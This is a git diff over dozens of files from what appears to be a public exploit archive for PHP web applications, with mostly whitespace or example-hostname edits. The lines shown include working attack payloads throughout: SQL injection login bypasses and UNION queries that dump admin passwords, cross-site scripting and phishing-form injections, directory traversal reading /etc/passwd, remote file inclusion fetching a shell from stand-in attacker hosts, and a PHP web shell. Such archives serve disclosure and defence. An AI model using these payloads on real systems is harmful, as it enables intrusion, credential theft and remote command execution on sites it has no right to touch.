b/platforms/php/webapps/26307.txt @@ -9,4 +9,4 @@ Ultimately an attacker could exploit this vulnerability to gain administrative p The following proof of concept demonstrates data to be entered into the login and password fields of the login page: login: 'UNION(SELECT'1','admin','admin','FAKE@example.com','d41d8cd98f00b204e9800998ecf8427e','1')/* -pass: [nothing] \ No newline at end of file +pass: [nothing] \ No newline at end of file diff --git a/platforms/php/webapps/2631.php b/platforms/php/webapps/2631.php index fd516b860..9907c8188 100755 --- a/platforms/php/webapps/2631.php +++ b/platforms/php/webapps/2631.php @@ -46,7 +46,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26311.txt b/platforms/php/webapps/26311.txt index ba905d14f..1d0b3dee9 100755 --- a/platforms/php/webapps/26311.txt +++ b/platforms/php/webapps/26311.txt @@ -4,4 +4,4 @@ IceWarp is prone to multiple cross-site scripting vulnerabilities. These issues An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[xss_here] \ No newline at end of file +http://www.example.com:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[xss_here] \ No newline at end of file diff --git a/platforms/php/webapps/26312.txt b/platforms/php/webapps/26312.txt index 94b5cdb37..8695efc5b 100755 --- a/platforms/php/webapps/26312.txt +++ b/platforms/php/webapps/26312.txt @@ -6,4 +6,4 @@ The application fails to properly sanitize input supplied through HTTP POST requ Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. -http://www.example.com/printfaq.php?lng=en&pg=/../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/printfaq.php?lng=en&pg=/../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/26313.txt b/platforms/php/webapps/26313.txt index 245790155..0c1bf060f 100755 --- a/platforms/php/webapps/26313.txt +++ b/platforms/php/webapps/26313.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to cause a denial of service condition due to Merak Mail Server version 8.2.4r is affected by this vulnerability. http://www.example.com:32000/mail/logout.html?id=[relative path] -http://www.example.com:32000/mail/logout.html?id=[relative path]%00blabla \ No newline at end of file +http://www.example.com:32000/mail/logout.html?id=[relative path]%00blabla \ No newline at end of file diff --git a/platforms/php/webapps/26319.txt b/platforms/php/webapps/26319.txt index 6992831ac..27024dc62 100755 --- a/platforms/php/webapps/26319.txt +++ b/platforms/php/webapps/26319.txt @@ -19,8 +19,8 @@ Summary: 1. Local path disclosure: ========================= -http://server/[Path of Monkey CMS]/admincp/phpinfo.php -http://server/[Path of Monkey CMS]/admincp/classes/database.php +http://site.com/[Path of Monkey CMS]/admincp/phpinfo.php +http://site.com/[Path of Monkey CMS]/admincp/classes/database.php 2. MySQL Injection (Error based): ================================= @@ -96,7 +96,7 @@ eval($strCommand); ... Exploit (GET request): -http://server/[Path of Monkey CMS]/index.php?page=TagIndex&tags=${passthru('dir')} +http://site.com/[Path of Monkey CMS]/index.php?page=TagIndex&tags=${passthru('dir')} Note that nny function which can issue server side command can be used instead of passthru(), i.e. shell_exec() diff --git a/platforms/php/webapps/2632.pl b/platforms/php/webapps/2632.pl index 377c0a8f8..0c55ec023 100755 --- a/platforms/php/webapps/2632.pl +++ b/platforms/php/webapps/2632.pl @@ -128,8 +128,8 @@ sub usage() ######################################################################## Usage: perl cmsfaethon2_xpl.pl <Target website> <Shell Location> <CMD Variable> <f> <-r> <-p> -<Target Website> - Path to target eg: www.faethon.server -<Shell Location> - Path to shell eg: www.badserver/s.txt +<Target Website> - Path to target eg: www.faethon.target.com +<Shell Location> - Path to shell eg: www.badserver.com/s.txt <CMD Variable> - Shell command variable name eg: cmd <f> - Vulnerable file number, corresponding to: 1: config.php diff --git a/platforms/php/webapps/26324.txt b/platforms/php/webapps/26324.txt index 0ccf79327..877bccaee 100755 --- a/platforms/php/webapps/26324.txt +++ b/platforms/php/webapps/26324.txt @@ -4,4 +4,4 @@ TellMe is prone to multiple cross-site scripting vulnerabilities. This is due to An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://[host]/tellme/index.php?q_Host=<iframe> src=http://whatismyip.com></iframe> \ No newline at end of file +http://[host]/tellme/index.php?q_Host=<iframe> src=http://whatismyip.com></iframe> \ No newline at end of file diff --git a/platforms/php/webapps/26326.html b/platforms/php/webapps/26326.html index c8c2ded24..00531d491 100755 --- a/platforms/php/webapps/26326.html +++ b/platforms/php/webapps/26326.html @@ -11,4 +11,4 @@ method="post" name="search" onsubmit="return checkForm(this)"><center><input type="text" name="keyword" size="12" value="'SQLInjection"> <input type="submit" value="Inject this"></center></form> -</BODY></HTML> \ No newline at end of file +</BODY></HTML> \ No newline at end of file diff --git a/platforms/php/webapps/26328.txt b/platforms/php/webapps/26328.txt index 8df5cf4b9..f9953e3c1 100755 --- a/platforms/php/webapps/26328.txt +++ b/platforms/php/webapps/26328.txt @@ -6,4 +6,4 @@ These issues are due to a failure in the application to properly sanitize user-s An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/[path]/footer.php?version=<script>alert(document.cookie)</script> -http://www.example.com/[path]/footer.php?query_count=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/[path]/footer.php?query_count=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26343.txt b/platforms/php/webapps/26343.txt index 78e73b290..00afb4b9a 100755 --- a/platforms/php/webapps/26343.txt +++ b/platforms/php/webapps/26343.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos The following proof of concept is available: Username =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/php/webapps/26345.txt b/platforms/php/webapps/26345.txt index 05c4a1bef..8f01e0cb2 100755 --- a/platforms/php/webapps/26345.txt +++ b/platforms/php/webapps/26345.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th YaPig versions 0.95b and earlier are affected. -http://www.example.com/path-to-yapig/view.php?gid=1&phid=1&img_size=><script>alert('hi')</script> \ No newline at end of file +http://www.example.com/path-to-yapig/view.php?gid=1&phid=1&img_size=><script>alert('hi')</script> \ No newline at end of file diff --git a/platforms/php/webapps/26346.txt b/platforms/php/webapps/26346.txt index d88a920de..8f8f03062 100755 --- a/platforms/php/webapps/26346.txt +++ b/platforms/php/webapps/26346.txt @@ -5,4 +5,4 @@ Accelerated Mortgage Manager is prone to an SQL injection vulnerability. This is Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Username =admin -Password= ' or ''=' \ No newline at end of file +Password= ' or ''=' \ No newline at end of file diff --git a/platforms/php/webapps/26347.txt b/platforms/php/webapps/26347.txt index c761ecabe..442058f26 100755 --- a/platforms/php/webapps/26347.txt +++ b/platforms/php/webapps/26347.txt @@ -4,4 +4,4 @@ Gallery is prone to a directory traversal vulnerability. This issue is due to a Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. -http://example.com/gallery2/main.php?g2_itemId=/../../../../../../../etc/aliases%00 \ No newline at end of file +http://example.com/gallery2/main.php?g2_itemId=/../../../../../../../etc/aliases%00 \ No newline at end of file diff --git a/platforms/php/webapps/26348.txt b/platforms/php/webapps/26348.txt index 3ae8bb992..af0ea20f3 100755 --- a/platforms/php/webapps/26348.txt +++ b/platforms/php/webapps/26348.txt @@ -4,4 +4,4 @@ Complete PHP Counter is prone to an SQL injection vulnerability. This issue is d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/[php-counter]/list.php?c='&s=' \ No newline at end of file +http://www.example.com/[php-counter]/list.php?c='&s=' \ No newline at end of file diff --git a/platforms/php/webapps/26349.txt b/platforms/php/webapps/26349.txt index 04ac6b3ad..6f73a403a 100755 --- a/platforms/php/webapps/26349.txt +++ b/platforms/php/webapps/26349.txt @@ -4,4 +4,4 @@ Complete PHP Counter is prone to a cross-site scripting vulnerability. This issu An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/[php-counter]/list.php?c='><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/[php-counter]/list.php?c='><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26350.txt b/platforms/php/webapps/26350.txt index 38e824277..71891cc8e 100755 --- a/platforms/php/webapps/26350.txt +++ b/platforms/php/webapps/26350.txt @@ -4,4 +4,4 @@ PunBB is prone to an SQL injection vulnerability. This issue is due to a failure Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/search.php?action=search&keywords=&author=d3vilbox&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=Submit&old_searches[]=[sql-injection] \ No newline at end of file +http://www.example.com/search.php?action=search&keywords=&author=d3vilbox&forum=-1&search_in=all&sort_by=0&sort_dir=DESC&show_as=topics&search=Submit&old_searches[]=[sql-injection] \ No newline at end of file diff --git a/platforms/php/webapps/26361.txt b/platforms/php/webapps/26361.txt index 981e2384c..11f96104e 100755 --- a/platforms/php/webapps/26361.txt +++ b/platforms/php/webapps/26361.txt @@ -4,4 +4,4 @@ MySource is prone to multiple cross-site scripting vulnerabilities. These issues An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code] \ No newline at end of file +http://www.example.com/squizlib/bodycopy/pop_ups/edit_table_cell_type_wysiwyg.php?stylesheet=">[code] \ No newline at end of file diff --git a/platforms/php/webapps/26373.txt b/platforms/php/webapps/26373.txt index b00f87b69..a6d48e6cb 100755 --- a/platforms/php/webapps/26373.txt +++ b/platforms/php/webapps/26373.txt @@ -4,4 +4,4 @@ MySource is prone to multiple remote and local file include vulnerabilities. The An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/pear/Mail_Mime/mime.php?PEAR_PATH=http://www.example.com/[file]? \ No newline at end of file +http://www.example.com/pear/Mail_Mime/mime.php?PEAR_PATH=http://www.example.com/[file]? \ No newline at end of file diff --git a/platforms/php/webapps/26377.txt b/platforms/php/webapps/26377.txt index e745d0af6..6b7d547a1 100755 --- a/platforms/php/webapps/26377.txt +++ b/platforms/php/webapps/26377.txt @@ -7,4 +7,4 @@ A remote attacker may view files that are only intended to be accessible to auth http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../../../../../../../../../etc/passwd%00 http://www.example.com/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&phpEx=../../../. -./../../etc/passwd \ No newline at end of file +./../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26378.txt b/platforms/php/webapps/26378.txt index 611e8e996..977af32d0 100755 --- a/platforms/php/webapps/26378.txt +++ b/platforms/php/webapps/26378.txt @@ -4,4 +4,4 @@ Chipmunk products are prone to multiple cross-site scripting vulnerabilities. Th An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/board/newtopic.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/board/newtopic.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26379.txt b/platforms/php/webapps/26379.txt index de7d35925..f912ba927 100755 --- a/platforms/php/webapps/26379.txt +++ b/platforms/php/webapps/26379.txt @@ -4,4 +4,4 @@ Chipmunk products are prone to multiple cross-site scripting vulnerabilities. Th An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/board/quote.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/board/quote.php?forumID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26380.txt b/platforms/php/webapps/26380.txt index 7067bb3bb..d84136e94 100755 --- a/platforms/php/webapps/26380.txt +++ b/platforms/php/webapps/26380.txt @@ -4,4 +4,4 @@ Chipmunk products are prone to multiple cross-site scripting vulnerabilities. Th An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/topsites/recommend.php?ID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/topsites/recommend.php?ID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26381.txt b/platforms/php/webapps/26381.txt index a5839041d..f7dc21e5b 100755 --- a/platforms/php/webapps/26381.txt +++ b/platforms/php/webapps/26381.txt @@ -4,4 +4,4 @@ Chipmunk products are prone to multiple cross-site scripting vulnerabilities. Th An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/directory/recommend.php?entryID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/directory/recommend.php?entryID='%3C/a>%3CIFRAME%20SRC=javascript:alert(%2527xss%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26383.txt b/platforms/php/webapps/26383.txt index a9b9cb716..80af7089e 100755 --- a/platforms/php/webapps/26383.txt +++ b/platforms/php/webapps/26383.txt @@ -6,4 +6,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a Zomplog version 3.4 and earlier are affected by this vulnerability. -put <script>alert('test')</script> in http://localhost/zomplog/detail.php?id=1#comments \ No newline at end of file +put <script>alert('test')</script> in http://localhost/zomplog/detail.php?id=1#comments \ No newline at end of file diff --git a/platforms/php/webapps/26384.txt b/platforms/php/webapps/26384.txt index fb9545c1a..2fc905dfb 100755 --- a/platforms/php/webapps/26384.txt +++ b/platforms/php/webapps/26384.txt @@ -10,4 +10,4 @@ http://www.example.com/flatnuke/forum/index.php?op=profile&user=[abducter] http://www.example.com/flatnuke/forum/index.php?op=topic&quale=[abducter] http://www.example.com/flatnuke/forum/index.php?op=newtopic&mode=ris&quale=[abducter]&page=1 -http://www.example.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26385.txt b/platforms/php/webapps/26385.txt index 013e56e08..e46f74b37 100755 --- a/platforms/php/webapps/26385.txt +++ b/platforms/php/webapps/26385.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th http://www.example.com/?op=login&nome=<script>alert('LOL');</script>&regpass=1&reregpass=1&anag=1&email=1&homep=http%3A%2F%2F&prof=1&prov=1&ava=1&url_avatar=1&firma=1 -http://www.example.com/?op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1 \ No newline at end of file +http://www.example.com/?op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1 \ No newline at end of file diff --git a/platforms/php/webapps/26391.html b/platforms/php/webapps/26391.html index 44a4b3d32..031a1bb96 100755 --- a/platforms/php/webapps/26391.html +++ b/platforms/php/webapps/26391.html @@ -4,4 +4,4 @@ Domain Manager Pro is prone to a cross-site scripting vulnerability. This issue An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/admin/panel?err=Please Login Again<br><font color="black"><form method="POST" action=[Your Page That Saves Data]>Username: <input name="user"><br>Password: <input name="pass"> <br><input type="Submit" name="subit" value="Login"><noscript> \ No newline at end of file +http://www.example.com/admin/panel?err=Please Login Again<br><font color="black"><form method="POST" action=[Your Page That Saves Data]>Username: <input name="user"><br>Password: <input name="pass"> <br><input type="Submit" name="subit" value="Login"><noscript> \ No newline at end of file diff --git a/platforms/php/webapps/26393.txt b/platforms/php/webapps/26393.txt index 10f8e7ba9..17ebe57af 100755 --- a/platforms/php/webapps/26393.txt +++ b/platforms/php/webapps/26393.txt @@ -5,4 +5,4 @@ phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issu An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by=db_name&sort_order="><script>alert(document.cookie)</script> -http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26394.txt b/platforms/php/webapps/26394.txt index a67ea3ad8..409a727bc 100755 --- a/platforms/php/webapps/26394.txt +++ b/platforms/php/webapps/26394.txt @@ -4,4 +4,4 @@ MWChat is prone to an SQL injection vulnerability. This issue is due to a failur Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova \ No newline at end of file +http://www.example.com/mwchat/chat.php?Username='UNION%20SELECT%200,0,0,0,'<?system($_GET[cmd]);?>',0,0,0%20INTO%20OUTFILE%20'../../www/mwchat/shell.php'%20FROM%20chat_text/*&Sequence_Check=&Lang=en&Resolution=1280&Room=prova \ No newline at end of file diff --git a/platforms/php/webapps/26397.txt b/platforms/php/webapps/26397.txt index 2aed5ed28..72ce35207 100755 --- a/platforms/php/webapps/26397.txt +++ b/platforms/php/webapps/26397.txt @@ -6,4 +6,4 @@ The problem affects the 'gameid' parameter. An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. -http://www.example.com/forums/index.php?act=Arcade&module=favorites&gameid=|aLMaSTeR \ No newline at end of file +http://www.example.com/forums/index.php?act=Arcade&module=favorites&gameid=|aLMaSTeR \ No newline at end of file diff --git a/platforms/php/webapps/26399.txt b/platforms/php/webapps/26399.txt index b8868e4a4..c9b51e1ef 100755 --- a/platforms/php/webapps/26399.txt +++ b/platforms/php/webapps/26399.txt @@ -4,4 +4,4 @@ vCard is prone to a remote file include vulnerability. This issue is due to a fa An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/vCard/admin/define.inc.php?match=http://www.example.com/cmd.gif?&cmd=id \ No newline at end of file +http://www.example.com/vCard/admin/define.inc.php?match=http://www.example.com/cmd.gif?&cmd=id \ No newline at end of file diff --git a/platforms/php/webapps/26400.txt b/platforms/php/webapps/26400.txt index 3a9581db5..9294fa081 100755 --- a/platforms/php/webapps/26400.txt +++ b/platforms/php/webapps/26400.txt @@ -13,4 +13,4 @@ http://www.example.com/index.php?tasks=all%22%3E%3Cscript http://www.example.com/index.php?order=sev&project=1&tasks=&type= &sev=&dev=&cat=&status=&due=&string=&perpage=20&pagenum=0& -sort=desc&order2=&sort2=desc \ No newline at end of file +sort=desc&order2=&sort2=desc \ No newline at end of file diff --git a/platforms/php/webapps/26423.txt b/platforms/php/webapps/26423.txt index b80e1ba8d..48c1e8292 100755 --- a/platforms/php/webapps/26423.txt +++ b/platforms/php/webapps/26423.txt @@ -9,4 +9,4 @@ Versions 0.19.2 and 1.0.0rc2 are affected; an upgrade to version 0.19.3 is avail http://www.example.com/bug_sponsorship_list_view_inc.php? t_core_path=http://[host]/[file].php? http://www.example.com/bug_sponsorship_list_view_inc.php? -t_core_path=../../../../../../../[file]%00 \ No newline at end of file +t_core_path=../../../../../../../[file]%00 \ No newline at end of file diff --git a/platforms/php/webapps/26427.txt b/platforms/php/webapps/26427.txt index 1ad82d09b..f8aacaa23 100755 --- a/platforms/php/webapps/26427.txt +++ b/platforms/php/webapps/26427.txt @@ -4,4 +4,4 @@ gCards is prone to an SQL injection vulnerability. This issue is due to a failur Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/ecards1/news.php?limit=%2527 \ No newline at end of file +http://www.example.com/ecards1/news.php?limit=%2527 \ No newline at end of file diff --git a/platforms/php/webapps/26428.html b/platforms/php/webapps/26428.html index 46e1e24a4..28e824f44 100755 --- a/platforms/php/webapps/26428.html +++ b/platforms/php/webapps/26428.html @@ -9,4 +9,4 @@ Attacker-supplied HTML and script code would be executed in the context of the a <input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'> <input type=submit name=sub> <script>document.searchform.sub.click()</script> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/26433.txt b/platforms/php/webapps/26433.txt index 001020292..6f388b7bc 100755 --- a/platforms/php/webapps/26433.txt +++ b/platforms/php/webapps/26433.txt @@ -6,4 +6,4 @@ These issues can allow remote attackers to execute arbitrary PHP commands and ca ATutor 1.5.1-pl1 and prior versions are affected. -http://www.example.com/documentation/common/print.php?section=[file]%00 \ No newline at end of file +http://www.example.com/documentation/common/print.php?section=[file]%00 \ No newline at end of file diff --git a/platforms/php/webapps/26434.txt b/platforms/php/webapps/26434.txt index d9601701a..365129e6a 100755 --- a/platforms/php/webapps/26434.txt +++ b/platforms/php/webapps/26434.txt @@ -8,4 +8,4 @@ These issues are reported to affect PBLang version 4.65; other versions may also http://www.example.com/profile.php?u=<script>JavaScript:alert(document.cookie);</script> http://www.example.com/delpm.php?id=<script>JavaScript:alert(document.cookie);</script> -http://www.example.com/pmpshow.php?num=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/pmpshow.php?num=<script>JavaScript:alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26436.txt b/platforms/php/webapps/26436.txt index 1e3b03fdf..ceac1276e 100755 --- a/platforms/php/webapps/26436.txt +++ b/platforms/php/webapps/26436.txt @@ -4,4 +4,4 @@ MG2 is affected by an authentication bypass vulnerability. This issue can allow All versions of MG2 are considered to be vulnerable at the moment. Minigal B13 is likely affected as well. -http://www.exmaple.com/mg2/index.php?list=*&page=all \ No newline at end of file +http://www.exmaple.com/mg2/index.php?list=*&page=all \ No newline at end of file diff --git a/platforms/php/webapps/26437.txt b/platforms/php/webapps/26437.txt index fd6dbaef5..ad0d102c2 100755 --- a/platforms/php/webapps/26437.txt +++ b/platforms/php/webapps/26437.txt @@ -6,4 +6,4 @@ Access to sensitive files containing authentication credentials is not restricte PHP Advanced Transfer Manager 1.30 is reported to be vulnerable. Other versions may be affected as well. -http://www.example.com/phpATM/users/<username> \ No newline at end of file +http://www.example.com/phpATM/users/<username> \ No newline at end of file diff --git a/platforms/php/webapps/26438.txt b/platforms/php/webapps/26438.txt index 19bf584de..fee590d15 100755 --- a/platforms/php/webapps/26438.txt +++ b/platforms/php/webapps/26438.txt @@ -4,4 +4,4 @@ Invision Gallery is prone to an SQL injection vulnerability. This issue is due t Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/index.php?automodule=gallery&cmd=sc&cat=26&sort_key=date&order_key=DESC&prune_key=30&st='[SQL] \ No newline at end of file +http://www.example.com/index.php?automodule=gallery&cmd=sc&cat=26&sort_key=date&order_key=DESC&prune_key=30&st='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26440.txt b/platforms/php/webapps/26440.txt index dfb9da879..7ef21f20f 100755 --- a/platforms/php/webapps/26440.txt +++ b/platforms/php/webapps/26440.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id='[SQL] http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,name,name%20from%20pc_admins/* -http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,pass,name%20from%20pc_admins/* \ No newline at end of file +http://www.example.com/index.php/pg/index.php?pg=scripts&CODE=06&id=-10%20union%20select%20name,pass,name%20from%20pc_admins/* \ No newline at end of file diff --git a/platforms/php/webapps/26441.txt b/platforms/php/webapps/26441.txt index 8f2cd6ea6..3067fd899 100755 --- a/platforms/php/webapps/26441.txt +++ b/platforms/php/webapps/26441.txt @@ -8,4 +8,4 @@ http://www.example.com/oaboard/forum.php?modul=topics&channel=[SQL] http://www.example.com/oaboard/forum.php?modul=topics&channel=-99%20UNION%20SELECT%20null,password%20FROM%20pw99_user%20WHERE%20id=1 http://www.example.com/oaboard/forum.php?modul=posting&topic=[SQL]&channel=3 -http://www.example.com/oaboard/forum.php?modul=posting&topic=30%20UNION%20SELECT%20null,username,null,password%20FROM%20pw99_user%20WHERE%20id=1/*&channel=3 \ No newline at end of file +http://www.example.com/oaboard/forum.php?modul=posting&topic=30%20UNION%20SELECT%20null,username,null,password%20FROM%20pw99_user%20WHERE%20id=1/*&channel=3 \ No newline at end of file diff --git a/platforms/php/webapps/26442.txt b/platforms/php/webapps/26442.txt index e06989818..9de611bc7 100755 --- a/platforms/php/webapps/26442.txt +++ b/platforms/php/webapps/26442.txt @@ -4,4 +4,4 @@ PHP is prone to a cross-site scripting vulnerability. This issue is due to a fai An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26446.txt b/platforms/php/webapps/26446.txt index 7a2fa1fbc..e581e7e0a 100755 --- a/platforms/php/webapps/26446.txt +++ b/platforms/php/webapps/26446.txt @@ -4,4 +4,4 @@ vCard PRO is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/fcard/addrbook.php?action=edit&addr_id='[SQL] \ No newline at end of file +http://www.example.com/fcard/addrbook.php?action=edit&addr_id='[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26449.txt b/platforms/php/webapps/26449.txt index 61407c272..1fa618f93 100755 --- a/platforms/php/webapps/26449.txt +++ b/platforms/php/webapps/26449.txt @@ -19,4 +19,4 @@ if (e_QUERY) { // Line 232 $sql->db_Select("advmedsys_awarded", "*", "WHERE awarded_user_id = $sub_action",""); -Example URL: http://server/plugins/advmedsys_view.php?profile.*SQL HERE* \ No newline at end of file +Example URL: http://site.com/plugins/advmedsys_view.php?profile.*SQL HERE* \ No newline at end of file diff --git a/platforms/php/webapps/2645.txt b/platforms/php/webapps/2645.txt index c9f7eadd0..972e54a68 100755 --- a/platforms/php/webapps/2645.txt +++ b/platforms/php/webapps/2645.txt @@ -44,7 +44,7 @@ resources. Proof Of Concept: ~~~~~~~~~~~~~ -http://server/[articlebeach_path]/index.php?page=http://attact.com/colok.txt? +http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt? ----------------------------------------------------------------------------- diff --git a/platforms/php/webapps/26455.txt b/platforms/php/webapps/26455.txt index 835ed7fa9..e66931d4d 100755 --- a/platforms/php/webapps/26455.txt +++ b/platforms/php/webapps/26455.txt @@ -4,4 +4,4 @@ VUBB is prone to a cross-site scripting vulnerability. This issue is due to a fa An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/forum/index.php?act=newreply&t='>%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E&f=6 \ No newline at end of file +http://www.example.com/forum/index.php?act=newreply&t='>%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E&f=6 \ No newline at end of file diff --git a/platforms/php/webapps/26456.txt 